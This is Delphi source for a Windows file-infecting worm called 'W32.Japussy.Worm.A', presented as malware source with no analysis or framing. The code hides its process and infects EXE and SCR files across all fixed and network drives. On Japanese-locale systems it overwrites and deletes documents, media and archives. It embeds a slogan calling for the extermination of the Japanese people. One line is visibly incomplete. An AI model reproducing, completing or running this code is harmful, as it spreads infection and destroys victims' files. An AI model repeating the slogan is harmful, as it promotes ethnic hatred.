- program Japussy;
- uses
- Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
- const
- HeaderSize = 82432;
- IconOffset = $12EB8;
- {
- HeaderSize = 38912;
- IconOffset = $92BC;
- //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
- }
- IconSize = $2E8;
- IconTail = IconOffset + IconSize;
- ID = $44444444;
- Catchword = 'If a race need to be killed out, it must be Yamato. ' +
- 'If a country need to be destroyed, it must be Japan! ' +
- '*** W32.Japussy.Worm.A ***';
- {$R *.RES}
- function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
- stdcall; external 'Kernel32.dll';
- var
- TmpFile: string;
- Si: STARTUPINFO;
- Pi: PROCESS_INFORMATION;
- IsJap: Boolean = False;
- function IsWin9x: Boolean;
- var
- Ver: TOSVersionInfo;
- begin
- Result := False;
- Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
- if not GetVersionEx(Ver) then
- Exit;
- if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
- Result := True;
- end;
- procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
- dStartPos: Integer; Count: Integer);
- var
- sCurPos, dCurPos: Integer;
- begin
- sCurPos := Src.Position;
- dCurPos := Dst.Position;
- Src.Seek(sStartPos, 0);
- Dst.Seek(dStartPos, 0);
- Dst.CopyFrom(Src, Count);
- Src.Seek(sCurPos, 0);
- Dst.Seek(dCurPos, 0);
- end;
- procedure ExtractFile(FileName: string);
- var
- sStream, dStream: TFileStream;
- begin
- try
- sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
- try
- dStream := TFileStream.Create(FileName, fmCreate);
- try
- sStream.Seek(HeaderSize, 0);
- dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
- finally
- dStream.Free;
- end;
- finally
- sStream.Free;
- end;
- except
- end;
- end;
- procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
- begin
- Si.cb := SizeOf(Si);
- Si.lpReserved := nil;
- Si.lpDesktop := nil;
- Si.lpTitle := nil;
- Si.dwFlags := STARTF_USESHOWWINDOW;
- Si.wShowWindow := State;
- Si.cbReserved2 := 0;
- Si.lpReserved2 := nil;
- end;
- procedure SendMail;
- begin
- end;
- procedure InfectOneFile(FileName: string);
- var
- HdrStream, SrcStream: TFileStream;
- IcoStream, DstStream: TMemoryStream;
- iID: LongInt;
- aIcon: TIcon;
- Infected, IsPE: Boolean;
- i: Integer;
- Buf: array[0..1] of Char;
- begin
- try
- if CompareText(FileName, 'JAPUSSY.EXE') = 0 then
- Exit;
- Infected := False;
- IsPE := False;
- SrcStream := TFileStream.Create(FileName, fmOpenRead);
- try
- for i := 0 to $108 do
- begin
- SrcStream.Seek(i, soFromBeginning);
- SrcStream.Read(Buf, 2);
- if (Buf[0] = #80) and (Buf[1] = #69) then
- begin
- IsPE := True;
- Break;
- end;
- end;
- SrcStream.Seek(-4, soFromEnd);
- SrcStream.Read(iID, 4);
- if (iID = ID) or (SrcStream.Size < 10240) then
- Infected := True;
- finally
- SrcStream.Free;
- end;
- if Infected or (not IsPE) then
- Exit;
- IcoStream := TMemoryStream.Create;
- DstStream := TMemoryStream.Create;
- try
- aIcon := TIcon.Create;
- try
- aIcon.ReleaseHandle;
- aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
- aIcon.SaveToStream(IcoStream);
- finally
- aIcon.Free;
- end;
- SrcStream := TFileStream.Create(FileName, fmOpenRead);
- HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
- try
- CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
- CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
- CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
- CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
- DstStream.Seek(0, 2);
- iID := $44444444;
- DstStream.Write(iID, 4);
- finally
- HdrStream.Free;
- end;
- finally
- SrcStream.Free;
- IcoStream.Free;
- DstStream.SaveToFile(FileName);
- DstStream.Free;
- end;
- except;
- end;
- end;
- procedure SmashFile(FileName: string);
- var
- FileHandle: Integer;
- i, Size, Mass, Max, Len: Integer;
- begin
- try
- SetFileAttributes(PChar(FileName), 0);
- FileHandle := FileOpen(FileName, fmOpenWrite);
- try
- Size := GetFileSize(FileHandle, nil);
- i := 0;
- Randomize;
- Max := Random(15);
- if Max < 5 then
- Max := 5;
- Mass := Size div Max;
- Len := Length(Catchword);
- while i < Max do
- begin
- FileSeek(FileHandle, i * Mass, 0);
- FileWrite(FileHandle, Catchword, Len);
- Inc(i);
- end;
- finally
- FileClose(FileHandle);
- end;
- DeleteFile(PChar(FileName));
- except
- end;
- end;
- function GetDrives: string;
- var
- DiskType: Word;
- D: Char;
- Str: string;
- i: Integer;
- begin
- for i := 0 to 25 do
- begin
- D := Chr(i + 65);
- Str := D + ':';
- DiskType := GetDriveType(PChar(Str));
- if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
- Result := Result + D;
- end;
- end;
- procedure LoopFiles(Path, Mask: string);
- var
- i, Count: Integer;
- Fn, Ext: string;
- SubDir: TStrings;
- SearchRec: TSearchRec;
- Msg: TMsg;
- function IsValidDir(SearchRec: TSearchRec): Integer;
- begin
- if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
- (SearchRec.Name <> '..') then
- Result := 0
- else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
- (SearchRec.Name <> '..') then
- Result :=
- else Result := 2;
- end;
- begin
- if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
- begin
- repeat
- PeekMessage(Msg, 0, 0, 0, PM_REMOVE);
- if IsValidDir(SearchRec) = 0 then
- begin
- Fn := Path + SearchRec.Name;
- Ext := UpperCase(ExtractFileExt(Fn));
- if (Ext = '.EXE') or (Ext = '.SCR') then
- begin
- InfectOneFile(Fn);
- end
- else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
- begin
- end
- else if Ext = '.WAB' then
- begin
- end
- else if Ext = '.ADC' then
- begin
- end
- else if Ext = 'IND' then
- begin
- end
- else
- begin
- if IsJap then
- begin
- if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
- (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
- (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
- (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
- (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
- (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
- SmashFile(Fn);
- end;
- end;
- end;
- Sleep(200);
- until (FindNext(SearchRec) <> 0);
- end;
- FindClose(SearchRec);
- SubDir := TStringList.Create;
- if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
- begin
- repeat
- if IsValidDir(SearchRec) = 1 then
- SubDir.Add(SearchRec.Name);
- until (FindNext(SearchRec) <> 0);
- end;
- FindClose(SearchRec);
- Count := SubDir.Count - 1;
- for i := 0 to Count do
- LoopFiles(Path + SubDir.Strings[i] + '', Mask);
- FreeAndNil(SubDir);
- end;
- procedure InfectFiles;
- var
- DriverList: string;
- i, Len: Integer;
- begin
- if GetACP = 932 then
- IsJap := True;
- DriverList := GetDrives;
- Len := Length(DriverList);
- while True do
- begin
- for i := Len downto 1 do
- LoopFiles(DriverList[i] + ':', '*.*');
- SendMail;
- Sleep(1000 * 60 * 5);
- end;
- end;
- begin
- if IsWin9x then
- RegisterServiceProcess(GetCurrentProcessID, 1)
- else //WinNT
- begin
- end;
- if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
- InfectFiles
- else
- begin
- TmpFile := ParamStr(0);
- Delete(TmpFile, Length(TmpFile) - 4, 4);
- TmpFile := TmpFile + #32 + '.exe';
- ExtractFile(TmpFile);
- FillStartupInfo(Si, SW_SHOWDEFAULT);
- CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
- 0, nil, '.', Si, Pi);
- InfectFiles;
- end;
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